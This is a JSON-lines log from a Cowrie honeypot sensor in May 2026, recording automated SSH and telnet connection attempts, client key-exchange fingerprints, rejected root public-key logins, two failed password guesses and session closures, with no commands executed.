{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41316,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ffcc26cc76","protocol":"telnet","message":"New connection: 192.119.13.58:41316 (10.17.0.5:23) [session: a6ffcc26cc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:08.805079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:08.931044Z","src_ip":"80.94.92.184","session":"266ed76d409b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:08.936102Z","src_ip":"80.94.92.184","session":"266ed76d409b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.34","src_port":54826,"dst_ip":"10.17.0.5","dst_port":22,"session":"89afb1846c70","protocol":"ssh","message":"New connection: 188.44.20.34:54826 (10.17.0.5:22) [session: 89afb1846c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:09.010511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:09.015718Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:09.169802Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:c3:1b:9b:9a:a1:18:4e:20:1e:e0:1f:e7:7b:a5:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5pWNMEmqxlDXqHtXOzIrYFl3dShzY8+WW4SZWjCOO9/MsFz6CjmGRUVWJ6kLsmodScmSzH+VNGd10qiLFvfmOWwpy1s4DOonWcPaTmdVKH2lTcqbJGsH5EFDfHNHq+5rUMYdlm1tP6P7+bi8wRyQiYFAjQYRaD0iHtRpgM3zD8Yyzw45yPR079kGv5lcydhPm7g7f5Znv6UB1geNqhN278yya8XHG5i6Oo7cu7oXpRCTO7Onjo6YRtbpguRN04qp7uvCWsd547Qus6UIVdSCbXUdYZ0q5XLsdITQnW7LuqT7Jdt1heCvkQk7nWh2DyRUWDQBnJRGpblF0y4Ag4VOv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:c3:1b:9b:9a:a1:18:4e:20:1e:e0:1f:e7:7b:a5:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:09.861213Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:c3:1b:9b:9a:a1:18:4e:20:1e:e0:1f:e7:7b:a5:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5pWNMEmqxlDXqHtXOzIrYFl3dShzY8+WW4SZWjCOO9/MsFz6CjmGRUVWJ6kLsmodScmSzH+VNGd10qiLFvfmOWwpy1s4DOonWcPaTmdVKH2lTcqbJGsH5EFDfHNHq+5rUMYdlm1tP6P7+bi8wRyQiYFAjQYRaD0iHtRpgM3zD8Yyzw45yPR079kGv5lcydhPm7g7f5Znv6UB1geNqhN278yya8XHG5i6Oo7cu7oXpRCTO7Onjo6YRtbpguRN04qp7uvCWsd547Qus6UIVdSCbXUdYZ0q5XLsdITQnW7LuqT7Jdt1heCvkQk7nWh2DyRUWDQBnJRGpblF0y4Ag4VOv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:09.865131Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:37:7e:95:43:fe:58:a1:da:d4:3c:f5:97:a9:d0:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1NCf5i1J6tjDKHmeWJL65H6JT8ASgegfPINjhFOEsOXxe6XcBZgRZCQPlUSbbDOIdhrE51gR4uCWeNM8vPlTgJ78JB9AAmlzkN+Px3RN0N3Pn7wuAWpYxa4UJTdSfCzNZBjF0p5eMExnpb/VKy3kJv+YIi6mLzYDu68pfr9p80wZHjOk27CsC6+UNFnE+wiAYxr2Vb0QTMMRogHBrwe0uxeOkgyryVpcp0eRtT69PC4Pj6SAXI3CJNglZi11M7dxXs/tvEIftFEWAxOhiqkAuTbbUdATwRxS8HQMQqrriAyIZ5NtHYwkGxkjCVI5HHDZU3DFlt3TC914vSWppUP4Ghynf7XQ9S/8A+nStx62G9ThMy2H7E9MPVWBrFFg+M6JlypdVHsAHroCkIHJ+Taml0bulxiL79QWg/MccJMW7ERIosi5XPKouZZ1hdzPLee5Lz55CY4+vFdX6GOuLdco8HQtnZ/iUBEzvH0daVP9FAlGEsPEx/SHKho3nzS7WcjZB98sC7gFbwoZp+C42vNalYonbRs6o4YYpIJ+vgBhyynLXiGAiASECuSO3bb6rQhIUn6bZC/vrBpbx3/Xxm53MtzvNDxkMsPQOb3h5T8UMXr42TQcDHsGt3yCNtzt9Av0BA4PslwJIsB1JztYMlZQnSJK8kVugtru6vD1xvDew/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:37:7e:95:43:fe:58:a1:da:d4:3c:f5:97:a9:d0:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.014318Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:37:7e:95:43:fe:58:a1:da:d4:3c:f5:97:a9:d0:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1NCf5i1J6tjDKHmeWJL65H6JT8ASgegfPINjhFOEsOXxe6XcBZgRZCQPlUSbbDOIdhrE51gR4uCWeNM8vPlTgJ78JB9AAmlzkN+Px3RN0N3Pn7wuAWpYxa4UJTdSfCzNZBjF0p5eMExnpb/VKy3kJv+YIi6mLzYDu68pfr9p80wZHjOk27CsC6+UNFnE+wiAYxr2Vb0QTMMRogHBrwe0uxeOkgyryVpcp0eRtT69PC4Pj6SAXI3CJNglZi11M7dxXs/tvEIftFEWAxOhiqkAuTbbUdATwRxS8HQMQqrriAyIZ5NtHYwkGxkjCVI5HHDZU3DFlt3TC914vSWppUP4Ghynf7XQ9S/8A+nStx62G9ThMy2H7E9MPVWBrFFg+M6JlypdVHsAHroCkIHJ+Taml0bulxiL79QWg/MccJMW7ERIosi5XPKouZZ1hdzPLee5Lz55CY4+vFdX6GOuLdco8HQtnZ/iUBEzvH0daVP9FAlGEsPEx/SHKho3nzS7WcjZB98sC7gFbwoZp+C42vNalYonbRs6o4YYpIJ+vgBhyynLXiGAiASECuSO3bb6rQhIUn6bZC/vrBpbx3/Xxm53MtzvNDxkMsPQOb3h5T8UMXr42TQcDHsGt3yCNtzt9Av0BA4PslwJIsB1JztYMlZQnSJK8kVugtru6vD1xvDew/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.019185Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:5e:3a:f2:b9:ab:4b:71:7a:b2:2d:c2:86:09:d8:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+V7PpBYyIgBkI/JCFCqri5yho1BT5FiQrJ+0CNwGWbJnm004iqGEIO9mIRu9oTzGNCnr9FJiU1w/UEwOPbZy0Ienm0cgPk1F7gioT2k3tWR82cFOtFbyLdxeAiS5SdnxBvAMVuVUa08s7hsfGmm4gd43JtUjgSRQ6YnYSIpoLyPV/Hw+vA+5J5b2xYruB9HL5R31iaEvf96uFe7Xxu0xmgXaCaAb8oGbZKsx0P6FnU807bm1pjveqlcqpVrVZ51U5E/lHaDIv4rLPlH5ocIFbnb0p08RpqXaNO8L2fFDI9AVn3PT89G4N0bLByHwQU4Qut00UGmYI2Gj/p9ZHi28+fFfjTxzAP+zGwU+3vbKLgKtGL/r9P2SuK44uJMCe9RTgWakUUfh7cwwZndz18/bbwBkV0MlLT94G6WmL4MBrWPvrNgBCUVVZkXHAEI0VYBEPpK+STK6ILsDVlJGUAhj9kkyFNtC9Wgc80IMk7xQLzWowrZK4kcUwI1QuBArXlQhTSkMxnzzroqss2yv7V3jVBGXcnt0dPxToJtBYInoCtxQ8xzSEsG+kyqgQu/grxNiYFfx34x3vNTDGv3FRVw/xKlLuFNJfNwxZN/ak0Dqqkao3e0ghx0z6eFko3p843GaI0vw5SJo/9F50yx0A3HeNyE0EdZBC0wKMzSDqa+JJKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:5e:3a:f2:b9:ab:4b:71:7a:b2:2d:c2:86:09:d8:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.167639Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:5e:3a:f2:b9:ab:4b:71:7a:b2:2d:c2:86:09:d8:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+V7PpBYyIgBkI/JCFCqri5yho1BT5FiQrJ+0CNwGWbJnm004iqGEIO9mIRu9oTzGNCnr9FJiU1w/UEwOPbZy0Ienm0cgPk1F7gioT2k3tWR82cFOtFbyLdxeAiS5SdnxBvAMVuVUa08s7hsfGmm4gd43JtUjgSRQ6YnYSIpoLyPV/Hw+vA+5J5b2xYruB9HL5R31iaEvf96uFe7Xxu0xmgXaCaAb8oGbZKsx0P6FnU807bm1pjveqlcqpVrVZ51U5E/lHaDIv4rLPlH5ocIFbnb0p08RpqXaNO8L2fFDI9AVn3PT89G4N0bLByHwQU4Qut00UGmYI2Gj/p9ZHi28+fFfjTxzAP+zGwU+3vbKLgKtGL/r9P2SuK44uJMCe9RTgWakUUfh7cwwZndz18/bbwBkV0MlLT94G6WmL4MBrWPvrNgBCUVVZkXHAEI0VYBEPpK+STK6ILsDVlJGUAhj9kkyFNtC9Wgc80IMk7xQLzWowrZK4kcUwI1QuBArXlQhTSkMxnzzroqss2yv7V3jVBGXcnt0dPxToJtBYInoCtxQ8xzSEsG+kyqgQu/grxNiYFfx34x3vNTDGv3FRVw/xKlLuFNJfNwxZN/ak0Dqqkao3e0ghx0z6eFko3p843GaI0vw5SJo/9F50yx0A3HeNyE0EdZBC0wKMzSDqa+JJKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.174320Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.301270Z","src_ip":"80.94.92.184","session":"266ed76d409b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:0f:91:12:75:4f:4c:4f:d1:ae:05:29:4d:f5:6e:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFnEbXNEVG48zskJ3jxhe55ZmxeY5jcc4/L4oQfPdp3zgu7kanxpDnCgCh3owSapcMeR2t0JibOFH3/2QtnJ0eYRFq/J6me0TQnwtzEkdyXpVrIu7QHHQY8+t8mIOjq+XGDH986kFIiXqq9NGYHfK+o6jxJd2rMsu5yjpFG6b84tG48wLal3SIkZLf+nf4pOTN4K+tCUktaxo3s4+VqlOgXh2wEiGvPx5hJbb382Le/ggGfuNFSypFCsr2kvgpT2SWIJUruPjb2NqnBrpM4IxgnUebCRfX0P3cY6fWPBz6oD0YZRdXECHmn9yDjlQ/SV5yzJgTluMc+Dc9QpHjNir/BvGHHywJ2MmAwyl7xMEx/tKVlibYk4viEIzdTwAScAsqIMH1zOa5P2gcJa1oPdLUPIu3BEl8TbXKU44ALY1JkN8ISdl4foD3AkDr0fgKV9DfZNY5xQHs5J3uIl0Sm9IZpFfPTqWhrhsgolOgY1r2s5KuUKtJ1+MlA1jtRf+L13PK9P8e+dfAgGg2YTO/br68sbpVL6zHEKO1Z9v3dp8fDCVNg70XW6V4eQ5m3FKA4h1/laxw8+Wd/XXEKxkRgtYWnDhs1y1JNj4EqMDBh2JVX1WgMWv8NiXOKg8fqnJt2FYp7dnSYBwFqyDXnjl0DmJfpX7wH++QWX5/ZzwroiFt9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:0f:91:12:75:4f:4c:4f:d1:ae:05:29:4d:f5:6e:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.324830Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:0f:91:12:75:4f:4c:4f:d1:ae:05:29:4d:f5:6e:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFnEbXNEVG48zskJ3jxhe55ZmxeY5jcc4/L4oQfPdp3zgu7kanxpDnCgCh3owSapcMeR2t0JibOFH3/2QtnJ0eYRFq/J6me0TQnwtzEkdyXpVrIu7QHHQY8+t8mIOjq+XGDH986kFIiXqq9NGYHfK+o6jxJd2rMsu5yjpFG6b84tG48wLal3SIkZLf+nf4pOTN4K+tCUktaxo3s4+VqlOgXh2wEiGvPx5hJbb382Le/ggGfuNFSypFCsr2kvgpT2SWIJUruPjb2NqnBrpM4IxgnUebCRfX0P3cY6fWPBz6oD0YZRdXECHmn9yDjlQ/SV5yzJgTluMc+Dc9QpHjNir/BvGHHywJ2MmAwyl7xMEx/tKVlibYk4viEIzdTwAScAsqIMH1zOa5P2gcJa1oPdLUPIu3BEl8TbXKU44ALY1JkN8ISdl4foD3AkDr0fgKV9DfZNY5xQHs5J3uIl0Sm9IZpFfPTqWhrhsgolOgY1r2s5KuUKtJ1+MlA1jtRf+L13PK9P8e+dfAgGg2YTO/br68sbpVL6zHEKO1Z9v3dp8fDCVNg70XW6V4eQ5m3FKA4h1/laxw8+Wd/XXEKxkRgtYWnDhs1y1JNj4EqMDBh2JVX1WgMWv8NiXOKg8fqnJt2FYp7dnSYBwFqyDXnjl0DmJfpX7wH++QWX5/ZzwroiFt9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.330612Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:41:31:b9:27:78:1f:9b:89:98:a1:d1:7d:7b:b0:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFOPDi+5OpqPxi2w/JV4Rtd5bMlMLaVUnUWIRZ/Fmsc3q8B6xeyUtjrDMVWu9EM4e4FKqj0uScIPG34FrA6zewuNvCKBQiIqU96/+jjoKY46KnZzlkpkmQd6unB1dPM0V6/eYuEzI0dJzFK5ZC0/YTH/NX7Ff6oq9IhWRx8IfWQYq3bXXsmrpMtJes6BZeRSxeoxhnf0lU1pp+ZWt73pFOR1H/KnhmHZ+Epw76l1YEwy9XT7Fg3ZRJSFLHH/9GJrCi4pH63uOU3fJ9wOMzzsFJ+4uq1EuvMiUOUZFwBxmPLF3KbtrotCmcBBNWxxcszYGE+1XtBcvXymXYgJrlBozh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:41:31:b9:27:78:1f:9b:89:98:a1:d1:7d:7b:b0:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.484668Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:41:31:b9:27:78:1f:9b:89:98:a1:d1:7d:7b:b0:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFOPDi+5OpqPxi2w/JV4Rtd5bMlMLaVUnUWIRZ/Fmsc3q8B6xeyUtjrDMVWu9EM4e4FKqj0uScIPG34FrA6zewuNvCKBQiIqU96/+jjoKY46KnZzlkpkmQd6unB1dPM0V6/eYuEzI0dJzFK5ZC0/YTH/NX7Ff6oq9IhWRx8IfWQYq3bXXsmrpMtJes6BZeRSxeoxhnf0lU1pp+ZWt73pFOR1H/KnhmHZ+Epw76l1YEwy9XT7Fg3ZRJSFLHH/9GJrCi4pH63uOU3fJ9wOMzzsFJ+4uq1EuvMiUOUZFwBxmPLF3KbtrotCmcBBNWxxcszYGE+1XtBcvXymXYgJrlBozh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.491389Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:10.639645Z","src_ip":"188.44.20.34","session":"89afb1846c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:11.591436Z","src_ip":"80.94.92.184","session":"266ed76d409b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46468,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1d8ba6b7e02","protocol":"ssh","message":"New connection: 103.27.238.120:46468 (159.203.135.109:22) [session: b1d8ba6b7e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:13.296239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:13.300460Z","src_ip":"103.27.238.120","session":"b1d8ba6b7e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:13.562932Z","src_ip":"103.27.238.120","session":"b1d8ba6b7e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.136470556259155,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:13.967860Z","src_ip":"192.119.13.58","session":"0420f5b39be7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"inferno","message":"login attempt [root/inferno] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:14.351308Z","src_ip":"103.27.238.120","session":"b1d8ba6b7e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38734,"dst_ip":"10.17.0.5","dst_port":23,"session":"10f695aa85da","protocol":"telnet","message":"New connection: 192.119.13.58:38734 (10.17.0.5:23) [session: 10f695aa85da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:15.369964Z"}
{"eventid":"cowrie.session.closed","duration":0.005433082580566406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:15.375302Z","src_ip":"192.119.13.58","session":"10f695aa85da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35500,"dst_ip":"10.17.0.5","dst_port":23,"session":"e027c1e94595","protocol":"telnet","message":"New connection: 192.119.13.58:35500 (10.17.0.5:23) [session: e027c1e94595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:15.442204Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:15.620278Z","src_ip":"103.27.238.120","session":"b1d8ba6b7e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.65711259841919,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:15.819241Z","src_ip":"192.119.13.58","session":"d86573c72a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.5098557472229,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:20.656895Z","src_ip":"192.119.13.58","session":"b218edd2c3f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.834362745285034,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:22.418144Z","src_ip":"192.119.13.58","session":"a4a2fd782b67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.72565770149231,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:26.639416Z","src_ip":"192.119.13.58","session":"df7651692441","protocol":"telnet"}
